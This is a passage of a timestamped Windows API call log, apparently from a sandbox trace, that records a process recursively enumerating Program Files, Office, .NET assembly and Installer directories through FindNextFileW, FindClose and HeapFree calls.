ftLastWriteTime.dwLowDateTime=0x2c4a611d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x21276, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessCompare.rdlc", cAlternateFileName="ACCESS~1.RDL")) returned 1 [0259.711] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0259.713] FindNextFileW (in: hFindFile=0x6ebb70, lpFindFileData=0x3b2e918 | out: lpFindFileData=0x3b2e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2c4a611d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2c4a611d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2c4a611d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelMessageDismissal.txt", cAlternateFileName="EXCELM~1.TXT")) returned 1 [0259.716] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0259.717] FindNextFileW (in: hFindFile=0x6ebab0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4c3c0a4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4c3c0a4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4c3c0a4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x171878, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="GROOVEEX.DLL", cAlternateFileName="")) returned 1 [0259.719] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4001ee0 | out: hHeap=0x630000) returned 1 [0259.719] FindNextFileW (in: hFindFile=0x6ebb30, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2f517e4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86a6c5d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x86a6c5d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office16", cAlternateFileName="")) returned 0 [0259.719] FindClose (in: hFindFile=0x6ebb30 | out: hFindFile=0x6ebb30) returned 1 [0259.720] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0259.723] FindNextFileW (in: hFindFile=0x6ec0b0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c93f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x17c93f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17c93f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft SQL Server", cAlternateFileName="MICROS~3")) returned 1 [0260.312] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0260.312] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c93f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x17c93f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17c93f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Shared", cAlternateFileName="")) returned 0 [0260.312] FindClose (in: hFindFile=0x6ebdf0 | out: hFindFile=0x6ebdf0) returned 1 [0260.313] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0260.313] FindNextFileW (in: hFindFile=0x6ec3f0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c93f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x17c93f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17c93f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="110", cAlternateFileName="")) returned 0 [0260.313] FindClose (in: hFindFile=0x6ec3f0 | out: hFindFile=0x6ec3f0) returned 1 [0260.313] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0260.315] FindNextFileW (in: hFindFile=0x6ec0b0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x16be2c7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16be2c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16be2c7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.NET", cAlternateFileName="MICROS~1.NET")) returned 1 [0260.316] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0260.316] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x16be2c7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16be2c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16be2c7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="110", cAlternateFileName="")) returned 0 [0260.316] FindClose (in: hFindFile=0x6ec4b0 | out: hFindFile=0x6ec4b0) returned 1 [0260.316] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0260.316] FindNextFileW (in: hFindFile=0x6ec3f0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x16be2c7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16be2c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16be2c7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADOMD.NET", cAlternateFileName="")) returned 0 [0260.316] FindClose (in: hFindFile=0x6ec3f0 | out: hFindFile=0x6ec3f0) returned 1 [0260.316] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0260.317] FindNextFileW (in: hFindFile=0x6ec0b0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x60db08, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x60db08, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x60db08, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Mozilla Firefox", cAlternateFileName="MOZILL~1")) returned 1 [0260.318] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0260.318] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x60db08, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x60db08, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x60db08, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugins", cAlternateFileName="")) returned 0 [0260.318] FindClose (in: hFindFile=0x6ebdf0 | out: hFindFile=0x6ebdf0) returned 1 [0260.319] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0260.319] FindNextFileW (in: hFindFile=0x6ec0b0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x60db08, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x60db08, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x60db08, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Mozilla Firefox", cAlternateFileName="MOZILL~1")) returned 0 [0260.319] FindClose (in: hFindFile=0x6ec0b0 | out: hFindFile=0x6ec0b0) returned 1 [0260.319] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f27fd0 | out: hHeap=0x630000) returned 1 [0260.319] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee8d7d1d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xee8d7d1d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 1 [0260.322] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0260.322] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b6194c4, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b6194c4, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="SystemX86", cAlternateFileName="SYSTEM~1")) returned 1 [0260.324] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0260.324] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0260.326] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0260.326] FindNextFileW (in: hFindFile=0x6ebd70, lpFindFileData=0x3b2e918 | out: lpFindFileData=0x3b2e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a65087, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5a65087, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5a65087, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="16.0.0.0__71E9BCE111E9429C", cAlternateFileName="1600~1.0__")) returned 0 [0260.326] FindClose (in: hFindFile=0x6ebd70 | out: hFindFile=0x6ebd70) returned 1 [0260.326] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0260.326] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a65087, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5a65087, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5a65087, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.Office.Access.BusinessDataCatalog", cAlternateFileName="MICROS~1.BUS")) returned 0 [0260.326] FindClose (in: hFindFile=0x6ec4b0 | out: hFindFile=0x6ec4b0) returned 1 [0260.326] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0260.326] FindNextFileW (in: hFindFile=0x6ec3f0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1d97f24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x863456d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x863456d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GAC_MSIL", cAlternateFileName="")) returned 1 [0260.327] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0260.327] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2e918 | out: lpFindFileData=0x3b2e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a56cbe, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6a56cbe, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6a56cbe, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="11.0.0.0__89845DCD8080CC91", cAlternateFileName="1100~1.0__")) returned 0 [0260.327] FindClose (in: hFindFile=0x6ec4b0 | out: hFindFile=0x6ec4b0) returned 1 [0260.327] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0260.327] FindNextFileW (in: hFindFile=0x6ebd70, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfbd2face, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbd2face, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbd2face, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.AnalysisServices.SPClient.Interfaces", cAlternateFileName="MICROS~2.INT")) returned 1 [0260.327] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0260.327] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2e918 | out: lpFindFileData=0x3b2e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfbd2face, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbd2face, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbd2face, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="11.0.0.0__89845DCD8080CC91", cAlternateFileName="1100~1.0__")) returned 0 [0260.327] FindClose (in: hFindFile=0x6ec4b0 | out: hFindFile=0x6ec4b0) returned 1 [0260.328] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0260.328] FindNextFileW (in: hFindFile=0x6ebd70, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22a9f7a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x22a9f7a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x22d01df, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.BusinessData", cAlternateFileName="MICROS~1.BUS")) returned 1 [0260.328] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0260.328] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2e918 | out: lpFindFileData=0x3b2e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22d01df, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x22d01df, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x22f6470, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="16.0.0.0__71E9BCE111E9429C", cAlternateFileName="1600~1.0__")) returned 0 [0260.328] FindClose (in: hFindFile=0x6ec4b0 | out: hFindFile=0x6ec4b0) returned 1 [0260.328] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0260.328] FindNextFileW (in: hFindFile=0x6ebd70, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x863456d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x863456d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x863456d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.Office.BusinessApplications.Diagnostics", cAlternateFileName="MICROS~1.DIA")) returned 1 [0260.328] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0260.328] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2e918 | out: lpFindFileData=0x3b2e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x863456d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x863456d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x863456d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="16.0.0.0__71E9BCE111E9429C", cAlternateFileName="1600~1.0__")) returned 0 [0260.328] FindClose (in: hFindFile=0x6ebdf0 | out: hFindFile=0x6ebdf0) returned 1 [0260.329] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0260.329] FindNextFileW (in: hFindFile=0x6ebd70, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x37869c8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x37869c8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x37869c8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.Office.BusinessData", cAlternateFileName="MICROS~2.BUS")) returned 1 [0260.329] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0260.329] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2e918 | out: lpFindFileData=0x3b2e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x37869c8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x37869c8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x37869c8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="16.0.0.0__71E9BCE111E9429C", cAlternateFileName="1600~1.0__")) returned 0 [0260.329] FindClose (in: hFindFile=0x6ec4b0 | out: hFindFile=0x6ec4b0) returned 1 [0260.329] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0260.329] FindNextFileW (in: hFindFile=0x6ebd70, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1d97f24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1d97f24, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1d97f24, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.Office.BusinessData.Intl", cAlternateFileName="MICROS~1.INT")) returned 1 [0260.329] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0260.329] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2e918 | out: lpFindFileData=0x3b2e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1d97f24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1d97f24, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1d97f24, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="16.0.0.0__71E9BCE111E9429C", cAlternateFileName="1600~1.0__")) returned 0 [0260.329] FindClose (in: hFindFile=0x6ec4b0 | out: hFindFile=0x6ec4b0) returned 1 [0260.329] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0260.329] FindNextFileW (in: hFindFile=0x6ebd70, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1d97f24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1d97f24, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1d97f24, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.Office.BusinessData.Intl", cAlternateFileName="MICROS~1.INT")) returned 0 [0260.329] FindClose (in: hFindFile=0x6ebd70 | out: hFindFile=0x6ebd70) returned 1 [0260.330] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0260.330] FindNextFileW (in: hFindFile=0x6ec3f0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1d97f24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x863456d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x863456d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GAC_MSIL", cAlternateFileName="")) returned 0 [0260.330] FindClose (in: hFindFile=0x6ec3f0 | out: hFindFile=0x6ec3f0) returned 1 [0260.330] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0260.332] FindNextFileW (in: hFindFile=0x6ec0b0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb32840, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb32840, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcb32840, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="INF", cAlternateFileName="")) returned 1 [0260.332] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0260.332] FindNextFileW (in: hFindFile=0x6ec0b0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc26abeaf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc369dacd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc369dacd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Installer", cAlternateFileName="INSTAL~1")) returned 1 [0261.102] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0261.102] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2f507b2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc2f507b2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc2f507b2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-001F-0409-1000-0000000FF1CE}", cAlternateFileName="{90160~3")) returned 1 [0261.102] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0261.102] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc369dacd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc369dacd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc369dacd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-001F-040C-1000-0000000FF1CE}", cAlternateFileName="{90160~4")) returned 1 [0261.103] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0261.103] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc369dacd, ftCreationTime.dwHighDateTime=0x1d327e7, 